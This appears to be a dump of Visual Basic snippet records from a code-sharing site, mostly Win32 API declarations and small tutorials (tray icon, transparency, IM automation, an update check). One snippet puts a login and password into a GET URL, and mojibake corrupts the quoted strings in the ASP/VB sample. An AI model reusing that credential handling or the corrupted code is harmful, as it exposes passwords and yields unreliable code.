EXE </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As \n Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters \n As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long \n </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">List \n window handles </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Long, ByVal lParam As \n Long) As Long </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Find \n prior instance of EXE </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As \n String, ByVal lpWindowName As String) As Long </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Draw \n dotted rectangle </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function DrawFocusRect Lib "user32" Alias "DrawFocusRect" (ByVal hdc As Long, \n lpRect As RECT) As Long </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Invert \n colors of rectangle </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function InvertRect Lib "user32" Alias "InvertRect" (ByVal hdc As Long, lpRect \n As RECT) As Long </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Get \n cursor position </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function GetCursorPos Lib "user32" Alias "GetCursorPos" (lpPoint As POINTAPI) \n As Long </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Always on \n top </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function SetWindowPos Lib "user32" Alias "SetWindowPos" (ByVal hwnd As Long, \n ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As \n Long, ByVal cy As Long, ByVal wFlags As Long) As Long </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Send \n messages to a window </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, \n ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Find \n directories </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal \n lpBuffer As String, ByVal nSize As Long) As Long \n Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" \n (ByVal lpBuffer As String, ByVal nSize As Long) As Long \n Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal \n nBufferLength As Long, ByVal lpBuffer As String) As Long \n Declare Function GetCurrentDirectory Lib "kernel32" Alias "GetCurrentDirectory" \n (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Text \n alignment </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function GetTextAlign Lib "gdi32" Alias "GetTextAlign" (ByVal hdc As Long) As \n Long \n Declare Function SetTextAlign Lib "gdi32" Alias "SetTextAlign" (ByVal hdc As \n Long, ByVal wFlags As Long) As Long </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Flash a \n title bar </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function FlashWindow Lib "user32" Alias "FlashWindow" (ByVal hwnd As Long, \n ByVal bInvert As Long) As Long </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">\n Manipulate bitmaps </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function BitBlt Lib "gdi32" Alias "BitBlt" (ByVal hDestDC As Long, ByVal x As \n Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal \n hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) \n As Long \n Declare Function PatBlt Lib "gdi32" Alias "PatBlt" (ByVal hdc As Long, ByVal x \n As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal \n dwRop As Long) As Long \n Declare Function StretchBlt Lib "gdi32" Alias "StretchBlt" (ByVal hdc As Long, \n ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, \n ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth \n As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long \n Declare Function CreateCompatibleBitmap Lib "gdi32" Alias "CreateCompatibleBitmap" \n (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long \n Declare Function CreateCompatibleDC Lib "gdi32" Alias "CreateCompatibleDC" (ByVal \n hdc As Long) As Long </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Rotate \n text </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function CreateFontIndirect Lib "gdi32" Alias "CreateFontIndirectA" (lpLogFont \n As LOGFONT) As Long </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Timing\n </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function GetTickCount Lib "kernel32" Alias "GetTickCount" () As Long \n </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">File \n information </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function GetFileAttributes Lib "kernel32" Alias "GetFileAttributesA" (ByVal \n lpFileName As String) As Long \n Declare Function GetFileSize Lib "kernel32" Alias "GetFileSize" (ByVal hFile \n As Long, lpFileSizeHigh As Long) As Long \n Declare Function GetFullPathName Lib "kernel32" Alias "GetFullPathNameA" (ByVal \n lpFileName As String, ByVal nBufferLength As Long, ByVal lpBuffer As String, \n ByVal lpFilePart As String) As Long </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Get \n window information </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, \n ByVal lpClassName As String, ByVal nMaxCount As Long) As Long \n Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd \n As Long, ByVal lpString As String, ByVal cch As Long) As Long \n Declare Function GetParent Lib "user32" Alias "GetParent" (ByVal hwnd As Long) \n As Long </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Identify \n window at cursor </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function WindowFromPoint Lib "user32" Alias "WindowFromPoint" (ByVal xPoint As \n Long, ByVal yPoint As Long) As Long </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Registry \n editing </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As \n Long, ByVal lpSubKey As String, phkResult As Long) As Long \n Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal \n hKey As Long, ByVal lpSubKey As String) As Long \n Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal \n hKey As Long, ByVal lpValueName As String) As Long \n Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal \n hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As \n Long, lpData As Any, lpcbData As Long) As Long \n Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal \n hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal \n dwType As Long, lpData As Any, ByVal cbData As Long) As Long </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Drawing \n functions </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function MoveToEx Lib "gdi32" Alias "MoveToEx" (ByVal hdc As Long, ByVal x As \n Long, ByVal y As Long, lpPoint As POINTAPI) As Long \n Declare Function LineTo Lib "gdi32" Alias "LineTo" (ByVal hdc As Long, ByVal x \n As Long, ByVal y As Long) As Long \n Declare Function Ellipse Lib "gdi32" Alias "Ellipse" (ByVal hdc As Long, ByVal \n X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long\n </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Get icon \n Declare </td>\n <td vAlign=\"top\" noWrap width=\"712\">Function \n ExtractIcon Lib "shell32.dll" Alias "ExtractIconA" (ByVal hInst As Long, ByVal \n lpszExeFileName As String, ByVal nIconIndex As Long) As Long </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Screen \n capture </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function SetCapture Lib "user32" Alias "SetCapture" (ByVal hwnd As Long) As \n Long \n Declare Function CreateDC Lib "gdi32" Alias "CreateDCA" (ByVal lpDriverName As \n String, ByVal lpDeviceName As String, ByVal lpOutput As String, lpInitData As \n DEVMODE) As Long \n Declare Function DeleteDC Lib "gdi32" Alias "DeleteDC" (ByVal hdc As Long) As \n Long \n Declare Function BitBlt Lib "gdi32" Alias "BitBlt" (ByVal hDestDC As Long, \n ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, \n ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As \n Long) As Long \n Declare Function ReleaseCapture Lib "user32" Alias "ReleaseCapture" () As Long\n \n Declare Function ClientToScreen Lib "user32" Alias "ClientToScreen" (ByVal \n hwnd As Long, lpPoint As POINTAPI) As Long </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Get user \n name </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer \n As String, nSize As Long) As LongDeclare Function GetUserName Lib \n "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) \n As Long </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Get \n computer name </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal \n lpBuffer As String, nSize As Long) As LongDeclare Function GetComputerName Lib \n "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) \n As Long </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Get \n volume name/serial# </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function GetVolumeInformation Lib "kernel32" Alias "GetVolumeInformationA" (ByVal \n lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal \n nVolumeNameSize As Long, lpVolumeSerialNumber As Long, \n lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal \n lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long\n </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Identify \n drive type </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As \n String) As Long </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Get free \n space </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function GetDiskFreeSpace Lib "kernel32" Alias "GetDiskFreeSpaceA" (ByVal \n lpRootPathName As String, lpSectorsPerCluster As Long, lpBytesPerSector As \n Long, lpNumberOfFreeClusters As Long, lpTotalNumberOfClusters As Long) As Long\n </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">INI \n editing </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function WritePrivateProfileSection Lib "kernel32" Alias "WritePrivateProfileSectionA" \n (ByVal lpAppName As String, ByVal lpString As String, ByVal lpFileName As \n String) As Long \n Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" \n (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As \n Any, ByVal lpFileName As String) As Long \n Declare Function GetPrivateProfileInt Lib "kernel32" Alias "GetPrivateProfileIntA" \n (ByVal lpApplicationName As String, ByVal lpKeyName As String, ByVal nDefault \n As Long, ByVal lpFileName As String) As Long \n Declare Function GetPrivateProfileSection Lib "kernel32" Alias "GetPrivateProfileSectionA" \n (ByVal lpAppName As String, ByVal lpReturnedString As String, ByVal nSize As \n Long, ByVal lpFileName As String) As Long \n Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" \n (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As \n String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal \n lpFileName As String) As Long </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Put icon \n in system tray </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal \n lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As \n Long, ByVal lParam As Long) As Long \n Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd \n As Long, ByVal nIndex As Long) As Long \n Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd \n As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long \n Declare Function Shell_NotifyIcon Lib "shell32.dll" Alias " Shell_NotifyIconA" \n (ByVal dwMessage As Long, lpData As NOTIFYICONDATA) As Long \n Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As \n Any, Source As Any, ByVal Length As Long) \n Declare Function DrawEdge Lib "user32" Alias "DrawEdge" (ByVal hdc As Long, \n qrc As RECT, ByVal edge As Long, ByVal grfFlags As Long) As Long </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Wait for \n program to stop </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal \n lpApplicationName As String, ByVal lpCommandLine As String, \n lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As \n SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As \n Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo \n As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long \n Declare Function WaitForSingleObject Lib "kernel32" Alias "WaitForSingleObject" \n (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long </td>\n </tr>\n <tr>\n <td width=\"300\"> </td>\n </tr>\n <tr>\n <td vAlign=\"top\" noWrap width=\"300\">Stop \n ctrl-alt-del </td>\n <td vAlign=\"top\" noWrap width=\"712\">Declare \n Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal \n uAction As Long, ByVal uParam As Long, ByRef lpvParam As Any, ByVal fuWinIni \n As Long) As Long </td>\n </tr>\n </table>\n Hopefully, this section of the tutorial has \n sparked some excitement! You should now see that a door of tremendous \n proportions has been opened to you. You've begun to leave the limitations of VB \n behind and joined the rest of the programming community who have already been \n using the API for years. I hope to add quite a bit to this tutorial section so \n check back often over the next few weeks.</td>\n </tr>\n</table>"},{"WorldId":1,"id":22530,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22581,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22603,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30124,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28630,"LineNumber":1,"line":"Public Sub Mache_Transparent(hWnd As Long, Rate As Byte)\n'### funktioniert nur unter Win2000 - XP !!!\n'### macht das Fenster, dessen hWnd ├╝bergeben wurde, transparent\n'### Rate: 254 = normal 0 = ganz transparent\n'### 190 ist z.B. ein guter Wert\nDim WinInfo As Long\n WinInfo = GetWindowLong(hWnd, GWL_EXSTYLE)\n WinInfo = WinInfo Or WS_EX_LAYERED\n SetWindowLong hWnd, GWL_EXSTYLE, WinInfo\n SetLayeredWindowAttributes hWnd, 0, Rate, LWA_ALPHA\nEnd Sub\n"},{"WorldId":1,"id":22525,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31661,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24466,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25030,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22621,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27372,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27321,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27390,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22543,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22571,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24202,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24315,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27667,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27139,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23049,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34990,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34898,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22619,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31653,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31889,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31022,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30556,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28602,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29252,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34570,"LineNumber":1,"line":"Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long\nDeclare Function FindWindowEx Lib \"user32\" Alias \"FindWindowExA\" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long\nDeclare Function FindWindow Lib \"user32\" Alias \"FindWindowA\" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long\nDeclare Function SendMessageByString Lib \"user32\" Alias \"SendMessageA\" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long\nConst XP = \"RichEdit20W\"\nConst Win98 = \"RichEdit20A\"\n'If you cant Get it to work useing these two, then get an API Spyer\n'and click on the IM's chat box then replace that value with that one\nSub SendText(Text As String)\nDim IMWindow, RichTB, RichTB2, SendButton As Long\nIMWindow = FindWindow(\"IMWindowClass\", vbNullString) 'Get IM's Hwnd\nIf IMWindow = 0 Then Exit Sub 'if no Im's open then exit\nRichTB = FindWindowEx(IMWindow, 0, XP, vbNullString) ' Get Chat Rooms Hwnd\nRichTB2 = FindWindowEx(IMWindow, RichTB, XP, vbNullString) 'Get Chat Box Hwnd\nSendButton = FindWindowEx(IMWindow, 0, \"Button\", \"&Send\") 'Get Send Button Hwnd\nSendMessageByString RichTB2, &HC, 0, Text 'Get Send Buttons Hwnd\nCall SendMessage(SendButton, &H100, &H20, 0&) 'Click the Button\nCall SendMessage(SendButton&, &H101, &H20, 0&)\nEnd Sub\n"},{"WorldId":1,"id":34718,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34770,"LineNumber":1,"line":"Public WithEvents Command1 As CommandButton\nPrivate Sub Command1_Click()\nMsgBox \"Button Pressed\"\nEnd Sub\nPrivate Sub Form_Load()\nSet Command1 = Me.Controls.Add(\"VB.CommandButton\", \"Command1\", Me)\nWith Command1\n.Visible = True\n.Width = 900\n.Height = 900\n.Left = Me.Width / 2 - .Width / 2\n.Top = Me.Height / 2 - .Height / 2\n.Caption = \"Test Button\"\nEnd With\nEnd Sub"},{"WorldId":1,"id":22599,"LineNumber":1,"line":"Private Sub cmdSendMessage_Click()\n \nIf txtlogin.Text <> \"\" And txtpass.Text <> \"\" Then\n login = \"http://www.breathe.com/cgi-bin/login.cgi?&extension-attribute-11=\" & txtlogin.Text & \"&extension-attribute-12=\" & txtpass.Text & \"&SUBMIT\"\n \n WebBrowser1.Navigate login\n Timer1.Enabled = True\n \n \n Else\n \n \n End If\nEnd Sub\nPrivate Sub cmdReset_Click()\ntxtlogin.Text = \"\"\ntxtpass.Text = \"\"\ntxtnumber.Text = \"\"\ntxtmsg.Text = \"\"\nEnd Sub\nPrivate Sub Timer1_Timer()\n If WebBrowser1.LocationURL = \"http://www.breathe.com/?loggedin\" Then\n message = \"http://www.breathe.com/services/textmessaging.html?number=\" & txtnumber.Text & \"&message=\" & txtmsg.Text & \"&charleft=113%2F146&submit.x=19&submit.y=7\"\n WebBrowser1.Navigate2 message\n \n Timer1.Enabled = False\n End If\nEnd Sub\n"},{"WorldId":1,"id":26818,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25706,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25214,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22642,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22677,"LineNumber":1,"line":"Hi, my first article submission.\nFirst, we have to declare the API's and the constants we will be using. \n'constants required by Shell_NotifyIcon API call: \nPrivate Const NIM_ADD = &H0 \nPrivate Const NIM_MODIFY = &H1 \nPrivate Const NIM_DELETE = &H2 \nPrivate Const NIF_MESSAGE = &H1 \nPrivate Const NIF_ICON = &H2 \nPrivate Const NIF_TIP = &H4 \nPrivate Const WM_MOUSEMOVE = &H200 \n'all these are for the mousemouve event \nPrivate Const WM_LBUTTONDOWN = &H201 'Button down \nPrivate Const WM_LBUTTONUP = &H202 'Button up \nPrivate Const WM_LBUTTONDBLCLK = &H203 'Double-click \nPrivate Const WM_RBUTTONDOWN = &H204 'Button down \nPrivate Const WM_RBUTTONUP = &H205 'Button up \nPrivate Const WM_RBUTTONDBLCLK = &H206 'Double-click \nPrivate Declare Function SetForegroundWindow Lib \"user32\" _ \n(ByVal hwnd As Long) As Long \nPrivate Declare Function Shell_NotifyIcon Lib \"shell32\" Alias \"Shell_NotifyIconA\" (ByVal dwMessage As Long, pnid As NOTIFYICONDATA) As Boolean \n'and 1 type that we need \nPrivate nid As NOTIFYICONDATA \n'user defined type required by Shell_NotifyIcon API call \nPrivate Type NOTIFYICONDATA \n\tcbSize As Long \n\thwnd As Long \n\tuId As Long \n\tuFlags As Long \n\tuCallBackMessage As Long \n\thIcon As Long \n\tszTip As String * 64 \nEnd Type \nBasically, I will just be explaining the use of Shell_NotifyIcon from here. The calls to SetForegroundWindow are pretty simple. Heres the code that goes into the form load code so that it will put itself into the system tray, I would suggest making the Form1.ShowInTaskBar = false.\nPrivate Sub Form_Load() \n\tMe.Show \n\tMe.Refresh \n\tWith nid \n\t\t.cbSize = Len(nid) \n\t\t.hwnd = Me.hwnd \n\t\t.uId = vbNull \n\t\t.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE \n\t\t''''''The callback should be the mousemove event \n\t\t.uCallBackMessage = WM_MOUSEMOVE \n\t\t.hIcon = Me.Icon \n\t\t''''''Heres the tooltip in the taskbar''''' \n\t\t.szTip = \"Your app name\" & vbNullChar \n\tEnd With \n\tShell_NotifyIcon NIM_ADD, nid \nEnd Sub \nand now remove the icon when we unload \nPrivate Sub Form_Unload(Cancel As Integer) \n\t'remove the icon \n\tShell_NotifyIcon NIM_DELETE, nid \nEnd Sub \n'hide the form when the menuitem is clicked \nPrivate Sub mnuHide_Click() \n\tMe.Hide \nEnd Sub \n'show the form when the menuitem is clicked \nPrivate Sub mnuShow_Click() \n\tMe.Show \nEnd Sub \n'unload the form when we click the quit menuitem \nPrivate Sub mnuQuit_Click() \n\tUnload Me \nEnd Sub \nThanks for a lot of great responses on my Streaming Screenshots project, but I need more globes :-) Brandon"},{"WorldId":1,"id":22702,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22653,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23793,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29472,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28904,"LineNumber":1,"line":"Public Sub Focus(varX As Variant)\n'selects entire txtbox\n With varX\n If .Text <> \"\" Then\n .SelStart = 0\n .SelLength = Len(.Text)\n End If\n End With\nEnd Sub\n\n''''''''''''''''''''''''''''''''''''\ncall statement\n''''''''''''''''''''''''''''''''''''\nPrivate Sub txtStoreNo_GotFocus()\n Focus txtstoreno\nEnd Sub"},{"WorldId":1,"id":30156,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22809,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25859,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23483,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23935,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22919,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22776,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22779,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22705,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31898,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34111,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24731,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32823,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29602,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24994,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25110,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29553,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25962,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32803,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32805,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33036,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34863,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33863,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31390,"LineNumber":1,"line":"How to send information to\na web page with Inet control \n \nSending information to a web page with VB is really simple. You must only use\nthe Inet control and you application will be able to communicate with a web\nsite. \nOn this small tutorial I will suppose that we need an is-update-aviable-check\nroutine. \nThe first step is to build the web page that must receive the information. The\npage must know the version number of the program and, in addition, the\nregistration-key of the program. \nHere is the ASP page that check the version:\n<% \n ΓÇÿ Suppose that ΓÇ£BΓÇ¥ is the\nnew version of our application. \n if request.form(ΓÇ£VersionΓÇ¥)\n<> ΓÇ¥BΓÇ¥ then \n response.write ΓÇ£to_appΓÇ¥\nΓÇÿ Hey, you must update! \n else \n response.write ΓÇ£okΓÇ¥\nΓÇÿ All ok. \n end if \n ΓÇÿ With registration key you\ncan do all you want, for example put it into a database to track users \n ΓÇÿ updatesΓÇª he he he good for privacy :-] \n ΓÇÿ ΓÇª \n%> \n \nNow we only need to add to our program the\ncheck-routine. \nOn a form put an Inet control (Inet1) and\nadd this code, for example, on the click event of a button: \n \nΓÇÿ ΓÇª \n Dim strUrl As\nString \n Dim strFormData As\nString \n \n ΓÇÿ Suppose that the version of\nour app is ΓÇ£AΓÇ¥ \n strFormData = "Version=A&Key=123ABC" \n strUrl = "The address of the prev.. ASP\npage"\n \nInet1.url = strUrl \n Inet1.Execute strUrl, "POST", strFormData, _ \n "Content-Type:\napplication/x-www-form-urlencoded" \n ΓÇÿ ΓÇª <o:p>\n</o:p>\n\nPrivate\nSub Inet1_StateChanged(ByVal State As\nInteger) \n Dim strTemp As\nString \n If State = 12\nThen ΓÇÿ If operation is\ncompleted \n strTemp = Inet1.GetChunk(32000) \n strTemp = Trim(strTemp) \n If\nstrTemp = ΓÇ£to_appΓÇ¥ then \n MsgBox\nΓÇ£You must update the application!ΓÇ¥ \n ElseIf\nstrTemp = ΓÇ£okΓÇ¥ then \n MsgBox\nΓÇ£No updates 